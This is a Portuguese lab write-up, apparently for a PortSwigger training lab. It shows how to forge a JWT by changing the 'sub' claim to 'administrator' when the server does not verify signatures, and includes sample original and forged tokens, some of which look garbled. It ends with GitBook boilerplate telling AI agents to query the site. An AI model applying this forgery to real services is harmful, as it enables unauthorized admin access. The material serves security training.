> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/jwt/jwt-authentication-bypass-via-unverified-signature.md).
# Contorno de Autenticação JWT via Assinatura Não Verificada
### Bypass de autenticação JWT por meio de assinatura não verificada
**Contexto do laboratório**
Este laboratório usa **Tokens Web JSON (JWT)** para gerenciar as sessões de usuário. / Devido a uma falha crítica de implementação, **o servidor não verifica a assinatura do JWT recebido**.
**Objetivo:**
* Edite o token de sessão para acessar `/admin` painel administrativo
* Excluir usuário **carlos**
**Credenciais fornecidas:**
* `wiener : peter`
**Etapa 1 – Autenticação e recuperação do JWT**
Após conectar ao `wiener` usuário, um cookie de sessão \*\*JWT\*\* é gerado pela aplicação.
O token tem a estrutura clássica:
* **Cabeçalho**
* **Carga útil**
* **Assinatura**
{% code overflow="wrap" %}
```bash
eyJraWQiOiI0YTM5NDQ3My0yNmYxLTQxNzMtYjVlOC1hOGQ4NjQ5NmI5ZTEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUyNzk1Mywic3ViIjoid2llbmVyIn0.T4j1dohfmxoKYLu3Lc9cF03f0jHi1Td_PuIdhpR6jluSxY6UarYiUt0cPDkz6Wt9m0L0f5376ZdnkZvc4afoKcEvU89_cwobse5yU_aEdk4SYVVbuSLEQ-sPlbnIVY5nf17LlU-xxPJZaoii2L-BlGlulIL60j7Mjb9cRs6User-Agentu36YddU2DQkF2Ww2UcTftI6n8S5htcnM5iftGWYLhDkfKsp5RhgV58GCj3kyn92Pxo82DeuUeY-h0YRvOIijlROdSPvufMQiqYbBuUN__6Jb7ckUs7iXOTB6CwBnE-vQcIqQs549YdTOkWypmIQdmGWyUser-AgentbJaPZHOPJU-XLzHwIcg
```
{% endcode %}
**Etapa 2 – Análise do conteúdo do JWT**
Ao decodificar o JWT, vemos a seguinte carga útil:
```json
{
"iss": "portswigger",
"exp": 1767531263,
"sub": "wiener"
}
```
O `sub` campo representa a identidade do usuário autenticado.
**Etapa 3 – Alterar a carga útil**
Como o servidor **não valida a assinatura**, é possível modificar livremente o conteúdo do token.
O valor de `sub` é substituído:
```json
{
"iss": "portswigger",
"exp": 1767531263,
"sub": "administrator"
}
```
O JWT então **reconstruído** (independentemente da assinatura, ela não será verificada).
{% code overflow="wrap" %}
```bash
eyJraWQiOiJjNDllNjY5Mi1iMDZjLTQ0YjEtYmIwOC0zMjM4NmYxNzA2OGMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTI2Mywic3ViIjoiYWRtaW5pc3RyYXRvciJ9.ZpAuSIEN0Ptww1x0aCihPl520xrSpg8D5EWczPJ66pJZFUBq6X8TkSIYD-4-fY1Z9we38SmWLedBi-yF2w8b_XHeICnYPgTM3xrSrallVNukPQfVW-NaCNu_lozTEgBovijP6lMSyJWFXVwddlVh3ixT5_CZW7hK2jnpqcMdBv6RtXW-9nqlkoS_MF7XruVpKFJS8OB71B1juuh3M2c7YpEjCdMRHTW4FOsx8QOxV11udAyU03-JrIxug-SfwmLHLbMPNyUw6midaP_1AFT6s1vLu066AliuMz-HW1ADnWQea3JInM1EFMaY_9oKCZdJ_EyF5oxmdo5ZBl9xPq2Tcw
```
{% endcode %}
**Etapa 4 – Uso de JWT falsificado**
O novo token é injetado no cookie de sessão do navegador.
Resultado:
* A aplicação considera o usuário como **administrador**
* O acesso a `/admin` é permitido
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/web/jwt/jwt-authentication-bypass-via-unverified-signature.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.